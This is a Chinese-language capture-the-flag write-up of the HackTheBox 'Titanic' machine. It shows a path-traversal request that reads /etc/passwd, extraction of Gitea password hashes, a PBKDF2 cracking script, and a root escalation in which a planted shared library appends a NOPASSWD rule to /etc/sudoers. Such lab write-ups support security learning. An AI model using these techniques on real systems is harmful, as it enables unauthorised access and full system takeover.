> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md).

# Titanic HackTheBox 解题报告

{% embed url="<http://app.hackthebox.com/machines/648>" %}

{% hint style="warning" %}
**技能：**

* **本地文件包含（LFI）**
* **Gitea 数据库提取**
* **ImageMagick 漏洞利用（权限提升）**
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/bda14fd068ae4af832e11345ebec1e13f64b258a" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/6664a3d95000554c24d6b9be46adec6fa7afc6f5" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的 "allPorts" 文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.55 -oG allPorts
```

<figure><img src="/files/c7421ec57a5010058b700e4a9473251e74893f27" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口并将其复制到剪贴板（22.80）

```bash
nmap -sCV -p22,80 10.10.11.55 -oN targeted
```

<figure><img src="/files/1fa8935c1289844baeae69ae8d2f23ff2fab4f69" alt=""><figcaption></figcaption></figure>

然后我们把 IP 添加到我们的 `/etc/hosts` 文件：

<figure><img src="/files/d07e81c2122f75b8300cee42ffe09f79a80ff5cb" alt="" width="563"><figcaption></figcaption></figure>

### 扫描 80 端口（HTTP）

####

<figure><img src="/files/b4b7f19fbaabb4f280e59237d8e8e39cf4e16608" alt=""><figcaption></figcaption></figure>

### 扫描 80 端口（HTTP）

#### 技术识别

使用 `wappalyzer`，我们识别出该站点使用了 **Flask 和 Python**

<figure><img src="/files/9bab8ab7055e23a0b6632f908f032bc7cbfdd6c7" alt="" width="349"><figcaption></figcaption></figure>

## 本地文件包含（LFI） <a href="#fb9e" id="fb9e"></a>

<figure><img src="/files/b3a7034cf5b8dead684d2870970f53e7688024c5" alt="" width="423"><figcaption></figcaption></figure>

该站点提供了一个预订行程的选项，会返回一个 JSON 文件。

<figure><img src="/files/51e15efa32c68c3d1309887fcbf0a35e21742d07" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/dcabf7cf714d4c16b9b7e47f6c06c74eb1846a9d" alt="" width="563"><figcaption></figcaption></figure>

通过使用 **Burp Suite**拦截请求时，我们注意到一个 `下载` 参数，允许访问以下文件：

<figure><img src="/files/339a5f9c117ec0514a356787bf40f6a7f3c5219d" alt=""><figcaption></figcaption></figure>

```bash
/download?ticket=9bff28d2-2f3a-4e5d-8879-576eb1dadf8b.json
```

我们测试一个文件包含：

```
/download?ticket=/etc/passwd
```

<figure><img src="/files/a556227f691ced6ba309f480f50c56271eb3b1b6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f935b9828033637ba946763d73e2d8d3ba44cb81" alt=""><figcaption></figcaption></figure>

使用 `curl`:

```
curl -s --path-as-is http://titanic.htb/download?ticket=/etc/passwd
```

我们获取到系统用户，包括 **developer**.

<figure><img src="/files/86cc3eb306c06de25a3bde13c74eeb849f740b5a" alt=""><figcaption></figcaption></figure>

### 子域名爆破

我们使用以下工具搜索子域名： **Gobuster**:

```bash
gobuster vhost -u http://titanic.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100 -r
```

<figure><img src="/files/c88df7974ef0f738e30046ca65263da8913910d4" alt=""><figcaption></figcaption></figure>

我们发现 **dev.titanic.htb**，我们将其添加到 `/etc/hosts`.

<figure><img src="/files/5aa4307da0c7a16681f2a62cb7cf300c79d70a16" alt="" width="563"><figcaption></figcaption></figure>

## Gitea 利用

在 **dev** 子域名，我们找到了一个 **Gitea** 实例。

<figure><img src="/files/eebb3776ecb6e1d6d1d65aabe3ba258ad476dea8" alt=""><figcaption></figcaption></figure>

#### 创建用户

<figure><img src="/files/81d35622ec07fd0e6b0ea4264a256bf6f5aa65f8" alt=""><figcaption></figcaption></figure>

我们发现一个以明文存储的密码（数据库）：

<figure><img src="/files/eb0a27e59834702b38308a4b462350c8aca7bbc8" alt=""><figcaption></figcaption></figure>

在探索 Gitea SQLite 数据库时，我们找到了它的路径：

<figure><img src="/files/3d5d830caccae0f52ebf1dbee896be3d33f24c13" alt=""><figcaption></figcaption></figure>

`/home/developer/gitea/data/gitea/gitea.db`

<figure><img src="/files/80f123fd096831113c6caedcb2486f7f953c7b0e" alt=""><figcaption></figcaption></figure>

在这里连接：

```sql
sqlite3 gitea.db
.tables
```

<figure><img src="/files/d5df308cc54f5d6e47cdc5d32e3df3a703d9d033" alt=""><figcaption></figcaption></figure>

然后提取密码哈希：

```sql
SELECT lower_name, passwd, salt FROM user;
```

<figure><img src="/files/38f25f64fa6ca379213eac1536b68e0d3fd79603" alt=""><figcaption></figcaption></figure>

### 带盐哈希暴力破解

#### 哈希：

```
e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34
```

#### 盐：

```
b8dc26d526439f6f2f4523fa8ea522a2
```

我们使用一个 Python 脚本来破解哈希：

```python
import hashlib
import binascii
 
def pbkdf2_hash(password, salt, iterations=50000, dklen=50):
    hash_value = hashlib.pbkdf2_hmac(
        'sha256',
        password.encode('utf-8'),
        salt,
        iterations,
        dklen
    )
    return hash_value
 
def find_matching_password(dictionary_file, target_hash, salt, iterations=50000, dklen=50):
    target_hash_bytes = binascii.unhexlify(target_hash)
    
    with open(dictionary_file, 'r', encoding='utf-8') as file:
        count = 0
        for line in file:
            password = line.strip()
            hash_value = pbkdf2_hash(password, salt, iterations, dklen)
            count += 1
            print(f"计数：{count}：{password}")
            if hash_value == target_hash_bytes:
                print(f"/n找到的密码：{password}")
                return password
        print("未找到密码。")
        return None
 
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34')
target_hash = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dictionary_file = '/usr/share/wordlists/rockyou.txt'
find_matching_password(dictionary_file, target_hash, salt)
```

#### - 找到的密码是 **25282528**.

<figure><img src="/files/e5302a21f99a5428c2bde904d89e85340b248c57" alt=""><figcaption></figcaption></figure>

然后通过 SSH 连接：

```bash
ssh developer@ticanic.htb
```

<figure><img src="/files/1709d782e69b2e2a4af3b7480bba5e0df8fca1c5" alt=""><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="/files/94b50f63369ffb19a512705cd64ebe8e4c025acf" alt=""><figcaption></figcaption></figure>

## 权限提升

### Cron 任务 - ImageMagick 利用

在 `/opt/`，我们找到了一个脚本 `script.sh` 自动执行

<figure><img src="/files/1b6df2ab0a5340728509ce6a89e9b8a369841517" alt=""><figcaption></figcaption></figure>

```bash
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log
```

> 这个 shell 脚本首先会切换到 `/opt/app/static/assets/images` 文件夹，然后会清空 `metadata.log` 文件（如果存在）。然后它会搜索所有 `.jpg` 该目录中的文件，并使用 ImageMagick 的 `identify` 命令提取它们的元数据（大小、格式、颜色深度等）。这些信息随后被保存到 `metadata.log`. 因此，这个脚本允许你为指定文件夹中存在的所有 JPG 图像生成一个更新后的元数据文件。

该脚本使用 **ImageMagick**，一个存在漏洞的版本。

```bash
magicks --version
```

<figure><img src="/files/339a67d8a89f882cc94619e1c93f60b91f57cd7e" alt=""><figcaption></figcaption></figure>

### 通过 `LD_PRELOAD`

我们创建一个 `a.c` 文件：

```c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("echo 'developer ALL=(ALL) NOPASSWD:ALL' | sudo tee -a /etc/sudoers");
}
```

编译：

```bash
gcc -fPIC -shared -o ./libxcb.so.1 a.c -nostartfiles
```

<figure><img src="/files/eabd9295582a5c447c65cbde59f7eed9c0338e68" alt=""><figcaption></figcaption></figure>

我们把它添加到由 `ImageMagick`监控并可执行的目录中。然后，我们执行：

```bash
su root
```

<figure><img src="/files/4069cdb0fbdebedec3a9a347b2525d25aa6d3948" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/675727bd4d6381d1e2461b25f44e874fc29be670" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/titanic-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
